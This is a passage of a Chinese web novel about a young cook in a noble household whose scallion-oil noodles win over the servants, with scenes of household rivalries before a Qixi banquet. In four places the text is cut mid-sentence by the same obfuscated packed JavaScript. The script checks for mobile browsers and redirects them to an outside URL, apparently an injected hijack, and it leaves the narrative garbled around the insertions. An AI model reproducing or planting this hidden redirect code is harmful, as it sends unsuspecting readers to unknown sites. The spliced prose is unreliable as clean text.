林金兰只翻了个大大的白眼,看也不看朱雨。 朱雨:…… 她只能哼了一声,骂骂咧咧的走了。 那两个从外头买来的丫鬟,一直没有吭声,等朱雨走了才敢对视了一眼,扭扭捏捏过来找林金兰。 “做什么?”林金兰还在怄那两个婆子,说话都没好气。 这两个丫鬟都才八九岁的年纪,比林金兰小上不少,名字也是管事妈妈随便糊弄的,一个叫扫儿,一个叫洒儿。 她们两个把身上的荷包取下来,把里面的铜板全拿出来了。 不过因为来府里就拜了干娘,每个月挣得月例大半都给了出去,干娘说是替她们存着,但实际上就是拿走了,再不会给。 不仅如此,时不时的,干娘还要她们这些小丫鬟再孝敬一二,她们手里的钱根本就不多。 这十来个铜板就是扫儿和洒儿每个月剩下的,全都拿了出来给林金兰。 扫儿年岁大一些,大着胆子上前,磕绊着开口,“悍姐儿,谢谢你帮我们说话,这是咱们两个的孝敬。” 林金兰眼睛立刻瞪了回去,她自从和朱雨有了攀比心,最是不能听悍姐儿这个名字。 两个小丫鬟看林金兰脸耷拉下来,立刻害怕起来,互相看了彼此一眼,眼里都是恐惧,生怕林金兰站起来打她们一顿。 林金兰最终还是没有打这两个姐儿,反而收了她们的那几个铜板,一边高兴一边苦恼,往小厨房走去。 她又想起来那几个胡咧咧的婆子,这些人是不知道林杏月的手艺,不然定然说不出那样的话。 林金兰脾气虽然大,可她最是护犊子,气呼呼的就要去找林杏月告状。 到了小厨房,她就闻到一股浓烈的葱香,以前小厨房可没有这个味儿,做的吃食不是炊饼就是馒头,再配上一芥菜疙瘩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230513|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不怪别人说小厨房人的手艺都不怎么样。 “姐姐你来了。”林杏月刚炸好了葱油,就看到了气鼓鼓的林金兰,“这是怎么了?” 林金兰连说带比划着的,把那婆子说的话比划了出来,“真是气煞我也。” “可不就是。”胡嫂子就像是找到了知音,在一旁就接了话来,“真是小瞧人。” 说完这个,胡嫂子脸上就露了一个笑容,指了锅里炸好的葱油,“所以咱们今儿个就让他们都看一看,咱们可不是扯谎胡说。” 林金兰眼睛一下子就亮了,使劲闻了闻,“这味道可真香,是我家月姐儿做出来的,定然好吃。” 说完这个,林金兰就说也回家赶紧把冯大娘叫过来,“一会儿我们可得多吃一些。” 回到家,看到冯大娘人浑身湿淋淋的,她直接被吓了一大跳。 “娘,你这是怎么了?坏事做多了,终于被人推下水了?” 冯大娘见林金兰开口说话,就想上前拧住这个女儿的嘴,真真是三棍子打不出一个好屁来。 不过她如今高兴,也懒得理林金兰。 林金兰却没走,得意的把那两个小丫鬟给她孝敬的事情说了,“钱虽然少,可那也是个心意,以后我就多照看照看她们,省得被欺负了去。” 她没说那两个小丫鬟连她名字都不知道,只知道她叫悍姐儿的事情,不然肯定会被冯大娘笑话。 冯大娘擦了头发,侧了身子看过来,“你还挺有本事,人家小丫鬟如何就知道你是个厉害的了,不会又去外头打架了?就这样儿还想去给二郎君当小娘,人家图你什么?” 林金兰都不知道该说什么,冯大娘嫌她说话难听,她也嫌冯大娘说话难听,想当小娘不过也是一时气话,回回都被冯大娘拿出来说嘴。 她懒得理会,把林杏月在小厨房做了吃食的事情说了,“一会儿咱们就过去,省得去的晚了,不够咱们吃。” 一听这个,冯大娘手上动作也加快了起来,“是得早些去,那起子人也忒看不起人了些,亏得咱们月姐儿不藏私,小厨房的人也厚道。” 胡乱擦了两下,冯大娘就跟着林金兰往小厨房走去。 这时候来的人还不多,只是黄婆子知道了消息,把自儿个儿媳妇给拽了过来,踮着脚尖频频往里面看。 见冯大娘来了,黄婆子就朝她露了个大大的笑容,“月姐儿娘,你来了。” 昨儿个黄婆子还没这样热情,冯大娘不知道黄婆子这是怎么了,就见她旁边的儿媳妇不耐烦的撇了一下头。 她还在上工,黄婆子就这样扯了她过来,还为的是个什么吃食,黄娘子心里就不得劲,觉得婆婆一天到晚没个正经事。 赵嬷嬷为了打那些人的脸,亲自揉的面,比起来林杏月,赵嬷嬷力气更大,面条不用揉那么长的时间,也能更筋道。 差不多到了平日里开饭的点,因着不是初一十五,早早来吃饭的丫鬟婆子老汉不太多,三三两两的说着话,也不着急上前。 黄婆子就占了头一个,她拿了两个碗来,说要多舀上一碗。 她先前吃的可是额外给了钱的,林杏月自然答应,特地给她那一碗舀的多多的,都冒出来尖了。 黄婆子高兴的合不拢嘴,喜滋滋的和儿媳妇坐到了一旁。 “这样能吃啊。”后面排队等着舀饭的人看了一眼,随口感慨一句,没当一回事。 12. 第十二章 冯大娘和林金兰两个人也要了两碗,生怕被别人抢没了,催着胡娘子快点舀。 “今儿个是怎么回事?”后面的人终于发现了不对,“怎么一个个的都要了两碗。” “我们今儿个做的可是葱油面,味儿好的很,能不要这么多嘛。” 说到葱油面,那问话的人才一脸恍然大悟,他也听说了什么葱油面味儿香的很,想了想,也要了两碗。 左右也不花自儿个的钱。 后面的人有样学样,自然也有嫌麻烦的,只要了一碗。 无论是谁,到了座位上吃上一口葱油面,就会被那口感惊艳到,一个个的互相看了看,怀疑自儿个的舌头出了问题。 “这真是你们小厨房做出来的?”还有人跑过去问。 胡嫂子终于扬眉吐气,“不是我们做出来的,还能是你们做出来的?一样都是学手艺做饭的,咱们小厨房的手艺也不差到哪里。” 说完,胡娘子还痛快的笑了两声。 “就是。”松姐儿在一旁也点头,只是不往林杏月的那个方向看,还在别扭着。 她刚刚才吃了第一碗葱油面,那个香啊,真是恨不得像这些婆子一样,把舌头都吞下去。 从前她一直以为林杏月和她是一样的,今儿个突然发现,林杏月比她强太多。 什么时候有了这样差距的? 松姐儿没想明白,她索性不去想了,趁着没人注意,又舀了一碗。 左右先吃到自儿个的肚子再说。 外头只舀了一碗的人,这时候都后悔起来,有急忙慌重新排了队过来的,不过赵嬷嬷怕来得晚的人不够吃,给他们舀的并不是很多。 “不知明儿个,是不是还会做了这葱油面?” 一个老汉肚子还没饱,可赵嬷嬷没给他再舀上一碗,他只能和赵嬷嬷说好话,在那边歪缠。 黄婆子的儿媳妇,一开始看到自家婆婆舀了两碗面,只觉得丢人,还把头扭了过去,不想和她说话。 可吃了几口,黄娘子就知道黄婆子刚才舀的那两碗面,是多么让人稀罕,好几个人都往她们这边投来了羡慕的目光。 黄婆子看自家儿媳妇吃瘪,立刻就得意洋洋起来,“说起来,我才是头一个吃上葱油面的,月姐儿给我开的小灶,你们都是沾了我的光。” 黄娘子脸色立刻变了,“娘,你手里还有钱?” 黄婆子这才发现她说漏了嘴,忙低下头,把她碗里那剩下的一点扒拉完,一溜烟的就走了。 先吃完葱油面的人有回去上工的,也有不着急去,找个地方窝着说闲话,今儿不少人说的就是晌午这顿葱油面。 有一些人不愿意去小厨房吃饭,听了这些人的话,一个个的都怀疑起来。 “这还能有什么假?我才从小厨房那边吃了回来,就是葱油面!好吃的很,先前说什么大老爷身边的平安过来吃,我觉得还真没扯谎。” “先前你可不是这样说的,不是说小厨房的人要是去当泥瓦子还成,皮都那样厚。” 和胡嫂子拌嘴,又和林金兰说闲话的那两个大小王婆子也听到了这事,她们两个听完就急忙慌的往小厨房跑来,气喘吁吁的问,“可是还有那葱油面。” 胡嫂子一看,直接乐了,给她们看了看一干二净的锅底,“你们两个来的太晚了,咱们这里葱油面是没了。” 大小王婆子脸上都失望的很,其中小王婆只是听了别人说,毕竟没有尝到,还嘴硬,“谁知道你们是不是又在吹牛。” 她话说到一半,旁边正在吃饭的一个丫鬟就忍不住开口,“大娘,人家这次可不是吹牛,你们是没尝到那葱油面,味道是真真好,我还从来没有吃过这样好吃的东西。” 说着,她就挑了一筷子碗里的葱油面,当着这两个婆子的面吃了。 胡嫂子在旁边哈哈大笑起来,林金兰在旁边也得意,“这可是我妹子做出来的,她手艺那是一顶一的好,大娘你们两个实在没有福气。” 大小王两个婆子觉得没脸,闻着附近传来的葱油面的香气,再看看还没有走的那些丫鬟婆子,一个个的都埋头吃着,连看热闹都顾不得抬头。 不知道大王婆还是小王婆,咕咚一声咽了口水,馋的实在不行。 小王婆能屈能伸,也不和林金兰歪缠之前扫帚扫到她们衣裳的事情,软和了声音去和她说,“哪个是你妹子?真真手艺这样好,倒是咱们眼拙了,也不知道你们小厨房,什么时候再做了这葱油面来? “最近几日先不做了,马上就要七夕,可顾不得。” 董婆子解释了一句,她也有些可惜,要是连着做几天葱油面,怕是府里无人不知无人不晓了。 可也知道不能,小厨房的一应采买,都是大厨房办的,这些葱已经把她们这段时间要用的都用了去,是再不能做的了。 两个婆子听了更加后悔不已,认了林杏月是哪个人,这才走。 眼见着在小厨房吃饭的人都散了,赵嬷嬷就让林杏月早早回去歇着,“剩下的不用你收拾,有松姐儿她们呢。” 松姐儿吃了两碗的葱油面,肚子实在有些撑胀的难受,加上她还额外多拿了些钱,赵嬷嬷说的时候她就没吭声,只是把头侧在了一边。 林杏月没推辞,她还等着告诉林金兰和冯大娘,在外头卖荷叶粉蒸肉的事情。 冯大娘也惦记着这个事,回去就问林杏月和张婶娘,“可是卖出去了?” “卖出去了!”张婶娘一说这个就合不拢嘴,给冯大娘仔细说着去正店的事情。 林杏月把今儿个挣出来的钱都倒了出来,哗啦啦的倒了一床,冯大娘的眼睛都看直了。 “天杀的,不过就是半天,你们就卖了这么多?” 林金兰也张大了嘴巴,眼睛都发直了。 “可不是,咱们月姐儿手艺好,那些官人小娘子,尝了咱们做的粉蒸肉,就没有觉得不好的。” 冯大娘和林金兰都与有荣焉的点头,“可是呢!我家月姐儿就是厉害,今儿个小厨房那些婆子也是,做了那葱油面出来,好好的争了口气呢。” “也不看看是谁妹子,咱们邻人黄婆子还有大老爷身边的平安,都特地来找她呢!”林金兰一脸与有荣焉。 “你们说的,我倒是不好意思了。”林杏月笑了起来,把之前谋划的说出来,“以后让婶娘帮着去卖,这钱咱们对半分。” 冯大娘大手一挥,“就该这样,咱们都在府里上工,哪里有时间出去。” 林金兰也说:“给婶娘是应该的,就是不知道那荷叶能不能供的上,到时候荷叶没了咱们又该做什么?” 大家都把目光投在冯大娘身上,冯大娘赶紧往外指了指,“今儿个可摘了不少荷叶呢,还掉在了湖里,不然你们以为我头发是怎么湿的?” “原来是这样。”林杏月和张婶娘都以为冯大娘是洗了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230514|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,听她这么说了,都赶紧问有没有事,怎么就掉到湖里了。 “没事,我可是会水。”冯大娘被这么围着还有些不好意思,“就是去够荷叶的时候太着急了些,这才没站稳。” 她自己也不好意思说出来,叫人觉得她没出息,“就是我从湖里出来的时候,碰到了二房吴娘子身边的戴妈妈,她还问了我两句。” 林杏月心里一惊,赶紧问,“戴妈妈都说了什么,是她一个人去的园子,没冲撞吴娘子吧?” 冯大娘也不确信吴娘子在不在,“只看见了戴妈妈,她身上那蜀锦我再是不能看差。” 吴娘子手里有钱的很,身边的丫鬟婆子,穿的是府里最好的,何娘子房里的都比不上。 两房的人没少因为这个互相看不上,一个觉得对方除了钱就是钱,一个觉得不过是生了个哥儿,天天狂什么。 冯大娘见林杏月在思索,也不安起来,“不会要革我月钱吧?早知道我就在屋子里说闲话了,没得出去还惹了嫌。” “那倒不至于。”林杏月想到府里最近的动向,“说不得就是好事。” 吴娘子最近心情的确不错,戴妈妈看出来了,这才特意去了园子里,就为了给自家娘子摘了荷花戴。 吴娘子看到戴妈妈摘回来的荷花,果然高兴的很,嗔怪的说,“那么多丫鬟婆子,妈妈何必自己去,反而累了自己。” 戴妈妈亲自挑了最鲜艳的荷花给吴娘子戴上,吴娘子对镜欣赏了一下,剩下的那两只放在了盒子里,戴妈妈一看就知道剩下的是给谁留的。 吴娘子看到戴妈妈的笑容,脸一下子红了,娇嗔的叫了一声妈妈。 “没事,娘子和郎君琴瑟和鸣,老婆子心里只有高兴的份儿。” 吴娘子想到自家官人,脸上的红晕更甚,随即又苦恼起来,“也不知道为何,偏偏就怀不了。” 二郎君是嫡出,上面的大朗君已经有了昌哥儿,周大娘子已经明里暗里说了好几次,让她快点开怀。 “娘子,急什么。”戴妈妈捧了茶过来,“你才嫁过来过久,还是新妇,没有怀上也正常,只要看好那些生了歪心思的丫鬟,别闹出来事情就好。” 周大娘子那时候不也是,为了什么贤惠的名声,给大老爷找了一个小娘,结果那小娘直接生了大朗君。 明明老太太当时都说了,什么小娘不小娘的,她最看不上那样,夫妻两个多好的关系都坏了,生一辈子嫌隙。 梁老太太可是个脾气硬的,要不然也不能和西府那位关系成那样,她最是眼里最容不了沙子的,偏周大娘子是个软的,老太太都这样说,她怕人说嘴,自己先找了小娘来。 老太太从那时候开始,对周大娘子也淡了,很少再管府里的事情。 吴娘子也想到了这里,她和戴妈妈两个人一商量,觉得坚决不能像周大娘子那样,哪怕背地里被人嘀咕。 瞧着吴娘子又因为府里的事情伤神,戴妈妈赶紧说了去摘荷花的时候遇到的趣事儿,“倒是个实诚的,别的婆子都在偷懒躲太阳,就她一个人去把那发黄不好的荷叶摘下来,看到人来还吓得掉到了湖里。” 吴娘子一听,噗嗤就笑了出来,“你说这婆子叫什么?回头赏她几百个大钱,也不白吓她这一回。” 想到这里,吴娘子又想到还在忙的焦头烂额的何娘子,自在的摇起了扇子,“也不知道大嫂那边怎么样了,怕是心慌的很。” 13. 第十三章 何娘子没操办过这样的事情,手下的丫鬟婆子也没有成事的,想了想,干脆就任由下面的婆子丫鬟成事去。 “说什么办了这事再也不管家。”何娘子和身边王妈妈念叨,“府里日子那么好过,谁想着管这一烂摊子,大娘子就是想把这烫手山芋甩给我,看不得我过好日子。” 想到把七夕宴会办完之后,自己又可以过清闲的日子,何娘子就叹了口气,数着日子盼着七夕赶紧来。 王妈妈有些恨铁不成钢,别人家都是巴不得管家,为了钱也好,为了权也好,那是能吵的不可开交,他们府里倒好,谁也不想沾手管家的事。 尤其她们大房的何娘子,看起来是个厉害泼辣的,其实只想当个鹌鹑,看到人多就觉得头疼。 王妈妈想想这事,就觉得嘴疼,吃不下饭。 偏何娘子是个心宽的,发了一会儿呆,就和王妈妈说起来要吃什么,“大厨房的手艺吃来吃去也就是那样,最近要做巧果,她们越发不尽心了,倒是不如从外面买些回来。” 汴京城里的正店、从食店可不少,何娘子想着想着就觉得口水快流出来,“要不就吃王婆炙肉,要是有獐子肉和那鹿肉就多来些。” 说完,还不忘了王妈妈,“妈妈也挑些。” 王妈妈恨铁不成钢,只能闭眼吩咐下去,说了自儿个嘴疼,吃不下。 “妈妈又嘴疼啊,那就喝些饮子,那甘豆汤就不错。” 王妈妈听得额头一跳跳,忙挑了帘子出门去透气。 冯大娘把戴妈妈的事情一股脑的丢在后面,兴致冲冲的让林杏月她们去看自己带回来的荷叶。 她还邀功的压低了声音说:“我还带回来一把莲子,不多,也没人看见,回头咱们自己吃了。” 说着就把那一把莲子给拿了出来,林金兰以为有不少,结果见才那么一点,便不屑的撇嘴,“这也忒少了些。” 冯大娘斜了她一眼,“大厨房的人可是好好盯着呢,要不是旁边没人,我才不动这个。” 林杏月不管她们之间打的机锋,把这一小把莲子收好,慢慢攒的多了也是能做了好吃的来。 又把她和张婶娘从街上买回来的东西拿了出来,先给了林金兰一蝴蝶样式的绒花,上面的翅膀一直在颤抖,可不就和活了一样。 林金兰拿着那蝴蝶绒花喜不自胜,顾不得再看其他,直接去了镜子跟前,就要往头上戴。 “你们也太惯着她些。”冯大娘嘴上虽然这么说,唇角却是往上提了提,又去看剩下的东西,埋怨林杏月怎么不给自儿个买一个。 “我说她也不听。”张婶娘在旁边和冯大娘一唱一和,“哪有小娘子不爱俏的,偏去买了那小酒回来。” 她们在和丰楼买的是桂花酒,去三元楼找帮她们的那个酒博士那里买了蔷薇酒。 看到酒,冯大娘的眼睛就亮了,和林金兰看到蝴蝶绒花的时候差不多神情。 “说来我也有好久没有打酒吃了,今日可得好好解解馋了。” “娘你可不能多吃,不过是今儿个开张,总要庆贺一下才买了来的。” 冯大娘不在意,“知道知道,你说不让我掷骰子,我早就改了,可是再没赌过钱。” 说起来这倒是真的,林杏月前段时间不信,还好好的盯了冯大娘一阵,见她们那些婆子果真没有再赌钱,这才松了一口气。 小酒度数不高,府里的婆子都爱打了酒来喝,有的酒博士还会来她们后街巷这边转悠。 有舍不得就会打上一升酒,舍得的就买上一角酒①,不当值的时候就慢慢咂摸味道喝。 林杏月一开始不明白怎么大家都爱打了酒喝,等看到光汴河两岸就五六十家酒肆的时候,就稍微明白些了。 比起来茶楼,小酒自然更经济便宜一些,喝起来也有滋味。 小厨房晌午那顿葱油面,可是成了不少人津津乐道的事情,吃过的就在那里比划有多好吃,没吃过的人有扼腕的,也有不信的。 冯大娘一来园子,就和元婆子曹婆子开始吹嘘起来,说的像是她自儿个做的,把林杏月的手艺吹的天上有,地上无的。 元婆子是个抠门的,但晌午那葱油面太对她胃口,就问冯大娘,“什么时候小厨房再做了那葱油面,你可知?” 冯大娘在小厨房的时候,是听了一耳朵的,就说,“怕是最近都不会再做了,葱没了不说,她们好像还得去大厨房帮忙做巧果。” 元婆子一听,顿时失望起来,那边曹婆子是个手头松的,刚才听了冯大娘说的那么许多吹捧林杏月的话,动了心,“你家姐儿可是还能做些别的吃食?” 冯大娘眼珠子转了转,“自然是能的,不过你想吃,可不能空着手。” 曹婆子白了冯大娘一眼,“少不了你家姐儿的,回头你问问她,给我捎带着做出来。” 冯大娘立刻就咧着嘴乐了。 大老爷房里,平安和徐柏两个人下了工,端着大老爷给赏的一盘子糟溜鱼片回了屋子。 这时候糟溜鱼片早就凉了,两个人拿了煮茶的小炉子过来,把鱼片放在炉子上热起来。 热着热着,徐柏就忍不住笑起来。 平安没好气的瞪了他一眼,“这都好半天了,你怎地还在笑个不停。” 徐柏忍不住,笑了一会儿才停,“不是,我是想到你把我姐姐,也想成兰姐儿的模样就想笑。” 平安理亏,“也亏得你姐姐是个不记仇的,手艺还那样的好。” 想起之前吃的那葱油面,平安就觉得口齿生津,“你什么时候家去,我也跟着你一块儿,好歹认认门。” 徐柏看他蹬鼻子上脸,不乐意了,“那是我姐姐,你认门做什么?” “自然是让咱姐姐有空了给咱们做些吃的,我这边可是攒了不少的钱,都留着给咱姐姐当孝敬。” 徐柏是知道平安手里有不少钱的,先说,“那是我姐,你别乱攀扯关系,不过要是钱够了,我姐说不得就会帮你做。” 平安嘿嘿笑了起来,开始掰着手指头数起日子来。 要不是他去小厨房太扎眼,他定然天天过去找林杏月,可不过才去了一次,不知道府里怎么就传的沸沸扬扬。 回头王管事要是知道了,他少不了挨一顿骂。 炉子上的糟溜鱼片已经热了,徐柏吃了一口就放下了筷子,“这糟溜鱼片也忒淡了一些。” “鱼腥味儿也重。” 怪不得今日大老爷也就动了两下筷子,把菜赏给他们就出门去了。 “别提了,大厨房为了做巧果的事情,各房的饭菜都是糊弄。”平安叹气。 “这也就算了,大娘子那边又怎么了?”徐柏压低了声音问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230515|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不知,好像是大娘子情绪不佳,就把宋小娘叫过去伺候了半日。” 平安和周大娘子房里的几个姐姐关系都不错,这事儿就是听她们私下里说的,让平安别这时候撞了上去。 提起这个,徐柏和平安两个人就都闭了嘴,互相对了个眼神,知道府里最近怕是不能安宁。 宋小娘再怎么说,也是大朗君的亲娘,昌哥儿都三岁了,还被周大娘子叫过去立规矩,事情怕没那么简单就完。 “糊涂。”梁老太太午睡醒了,就听身边的丫鬟说了这事儿,眉头紧紧的皱了起来,只觉得周大娘子这么多年,只长岁数,不长心眼。 “当时就和她说了,别随便找什么小娘,有我在头上压着,谁敢乱说一句,偏她怕大老爷恼了她,巴巴的送了小娘过去。” 纵然这么多年过去,梁老太太说起来还是气的很。 宋小娘还是周大娘子昏了头,从外面找来的良妾,读过书识得字,伺候没几天就怀了身子,十个月之后就生下大朗君。 到这时候,周大娘子才后悔起来,闹也闹过,吵也吵过,可覆水难收,能有什么法子。 梁老太太让身边巧燕去开了库房,“收拾些好料子送给大房,不是要办七夕宴会,这些拿去装点装点。” 巧燕在老太太身边多年,明白老太太的意思,这是要给周大娘子兜底,亲自拿着钥匙,挑了一些四经绞罗出来。 这种料子质地轻薄,摸起来也是柔软光滑,按老太太的意思,做了罗幔挂起来,很是能拿得出手。 何娘子得了这个赏,却没按照巧燕说的做什么罗幔,和王妈妈嘀咕,说是这么好的料子留着做衣裳都使得。 王妈妈有些不敢,“咱们还是按老太太说的做,不然到时候得罪了老太太,该如何是好?” “左右咱们这个身份也不待见咱们。”何娘子看的很明白,“我要是事事都做的好了,回头她们才忌惮咱们,中规中矩的就得了,以后有这样事情找上来,咱们也有说头。” 王妈妈心里着急,觉得嘴上的口疮又大了一些,可何娘子就是这么个脾气,没出嫁前就很随缘,巴不得继母给找个门第低一些的,她好清静的躲起来。 何娘子不是不知道王妈妈想要说什么,她装作没看见,已经想好用那罗做了什么来穿。 中衣最是舒服了,这几天秋老虎正盛,晚上只穿了这个睡觉就不会太热。 她一件昌哥儿一件,剩下的留着明年夏天做了穿。 大朗君什么的,何娘子压根就没操心他。 想完这个,何娘子舒服的躺在榻子上,想起来刚吃的那王婆炙肉来。 王妈妈是偷偷给何娘子买来的,买的是炙獐子肉,外面还刷了一层杏酪,在炭火上烤的时候,外面那层皮就变得焦脆,里面的肉却还是鲜嫩的。 何娘子吃了好些个,吃完,嘴里面也长了一个口疮。 她随口和王妈妈感叹,“妈妈,咱们两个如今嘴里都这样,我看晚上就吃些清淡的,让大厨房那边上些菜蔬就是。” 王妈妈心说,她和何娘子那嘴里长得口疮可不一样,她是着急着的,何娘子那就是吃出来。 就说都长了口疮了,她正经饭都吃不下去,一吃就嘴疼,怎么何娘子这时候还惦记着吃。 王妈妈觉得她嘴里的口疮,是好不了了。 14. 第十四章 做晚食的时候,她们小厨房已经没有了葱,赵嬷嬷想了想,板着脸就说要去找董顺家的。 董顺家的是采买,小厨房想要个什么东西,得得去大厨房找她。 赵嬷嬷过去一说,董顺家的就皱眉,“赵嬷嬷,你也是府里的老人了,哪里有这样的先例,用多少东西,咱们都是有定量的,就是大厨房也不能加。” 赵嬷嬷的唇紧紧的抿着,把林杏月做的那葱油面多好吃说了来,“以往都说咱们小厨房做吃食不好,如今好不容易有了让大家都愿意吃的,如何也得给大家伙都做了来。” “不过是一群奴才,还挑三拣四起来。”董顺家的说话很不客气,“一个葱油面有什么好吃,真是没见过世面。” 赵嬷嬷眉头紧紧蹙了起来,还把平安给扯了出来,想让董顺家的相信。 “大老爷院子的那平安?他吃什么觉得不好吃,就是个炊饼也能吃的喷香!赵嬷嬷,别在我这里歪缠,咱们这边还得做巧果,我看明儿个你们小厨房就找几个人来大厨房帮忙才是。” 赵嬷嬷带着一肚子气回来,脸比往日更加阴沉,大家伙一看这个样子,就都知道没有成。 董婆子晌午回去休息的时候,偷偷在家里做了那葱油面,还想着要是味道差不了,就悄悄的替别人做。 偏做出来出味道总是差一点,要是没有吃过林杏月做的也就算了,就是因为珠玉在前,舌头灵一点的,就吃出来很大不同。 失之毫厘,差之千里。 董婆子就歇了那心思,一心想让林杏月再做了来,一听赵嬷嬷说的,就在那边嘟嘟囔囔骂起来。 松姐儿也着急,可她有些别扭,怕跟着一块儿骂了,会让林杏月觉得她是在帮她说话。 赵嬷嬷叹气,“如今也只能这样,咱们还是先做了别的来。” 按照以往,今儿个是要做豆粥配着腌菜,想想就知道和晌午那葱油面对比多强烈。 赵嬷嬷想的没错,不少人吃了那葱油面之后,晌午干活都是不能安心,一直惦记着,巴不得快到晚食的时候。 “自从我当了差,还从来没这样惦记着,早早去小厨房。” “我看得快些过去才是,怕是去的晚了,东西也就没了。” 这样想的人可不少,小厨房早早就挤满了人,在小厨房干活的丫鬟婆子,乍然看到这样多的人,都被唬了一大跳。 黄婆子是早早就过来了,她还想着能占个前面的位置,到时候多吃一些。 可她已经一下差就过来,前面还是站了不少人。 黄婆子就踮着脚尖看了看,问前面认识的人,“晚食是什么?” 前面的人是徐勇,他晌午得守着库房,没有过来吃饭,听说小厨房做的那葱油面多么好吃,后悔的是肠子都青了。 他听见黄婆子这么问,就摇摇头,“不知道,我也是才过来。” 黄婆子问他有没有吃过葱油面,见徐勇摇摇头,她就把自儿个吃了两回的事情说了,“府里也就我有这个福气。” 徐勇一脸羡慕的看着黄婆子,“大娘,你鼻子可真好用,我要是在家就好了,多远的香味我也能闻到。” 两个人在这里聊着,其他早早过来的丫鬟婆子也在说闲话,赵嬷嬷看着不是办法,就出去和大家伙说了一声。 “没有葱油面?” 一石惊起千层浪,有晌午吃过的,只觉得可惜,有那还没有尝过什么味道的,气的在原地只跺脚。 “大厨房也忒不做人了些。” “哪里是大厨房不做人,是那个董顺家的不做人!以往给咱们采买的都是什么东西!” “黑心肝的,烂脚底的鸟人,眼睛都长在头顶上了!” 赵嬷嬷都没说董顺家的那些不堪入耳的话,大家就都这样生气。 有人知道吃葱油面无望干脆不排队了,摇着头失望的离开。 也有人想着来都来了,干脆吃了晚食才回去。 还有人问赵嬷嬷,“晚食是做什么?” “是豆粥和腌菜。” 一听这个,原本还有犹豫的几个丫鬟小厮,不再犹豫,想着拿了几个钱出去找个闲汉,不拘是买些什么回来,也好过吃那索然无味的豆粥。 黄婆子捅了捅徐勇,见他圆圆脸上一点也不懊恼,还在巴巴的等着,就问他,“你不回去?我瞧着不少人要去外面买些吃食。” 黄婆子也想去,就是兜里的钱不多了,都被儿媳妇要去管账了。 徐勇乐呵呵的笑,“豆粥也挺好吃的,我瞧着是我家月姐儿在做。” 黄婆子还真没看到,瞪着眼睛使劲往里面看了几眼,见果然是林杏月在那边,不知道切着什么。 想到林杏月的手艺,她的脚步也不动了,哪怕心里也不报多大念头。 那豆粥再怎么做,味道怕是也好不到哪里去。 晌午没吃到葱油面的两个大小王婆子,当时被胡娘子说笑话了一通,这次就早早过来排队。 哪怕说了没有葱油面,她们两个也没有动地方。 “晌午那胡娘子还笑话咱们两个,一会儿等她打饭的时候,咱们也好生笑话她。” “我看行,可惜那悍姐儿没有过来,不然也能看了她笑话。” 两个大小王婆子回去一打听,已然知道林金兰是谁,原来就是那个跋扈刁钻的悍姐儿--原先也听过她的这个名声,偏偏没有见过人。 晌午看到了人,只觉得林金兰长得倒是不错,蛾眉细腰的,就是多少看着有些厉害泼辣。 等知道她就是林金兰,再看她那长相,就添了几分凶悍。 小厨房里的气氛也不大好,看着方才来排队的那些个人,再看如今呼啦啦走了那么些个,只剩下那么十来个人,他们就痛心疾首起来。 “真是烂心肝。”不知道是谁骂了一句,哪怕没有指明点姓,小厨房的人都知道骂的是谁。 赵嬷嬷还没说出,要找几个人去大厨房帮忙的事情,要是说了,董顺家挨的骂怕是更多。 林杏月一直按照赵嬷嬷的吩咐在做豆粥,松姐儿在旁边看了一会儿,也没看出来什么名堂。 她对小厨房没其他人那样深的感情,可见大家都同仇敌忾,那葱油面她也吃不到了,也觉得着急起来。 “你不会只能做那葱油面吗?” 看了一会儿,松姐儿没忍住和林杏月说话。 林杏月喜欢做吃食的时候,竖着耳朵听八卦,小厨房平日里氛围不错,丫鬟婆子们也都不知道从哪里听来的,东家长西家短,有时候还有主子的各种事。 松姐儿说话的时候,林杏月都没回过神来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230516|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松姐儿以为林杏月是故意的,脸色就不好看起来,哼了一声就把脸别了过去。 林杏月回过神,觉得松姐儿大概是到了叛逆期,看什么都觉得烦。 她没去自找麻烦,把已经煮到软烂的红豆和粟米、粳米中放了些饴糖,热滚滚的豆粥就可以出锅了。 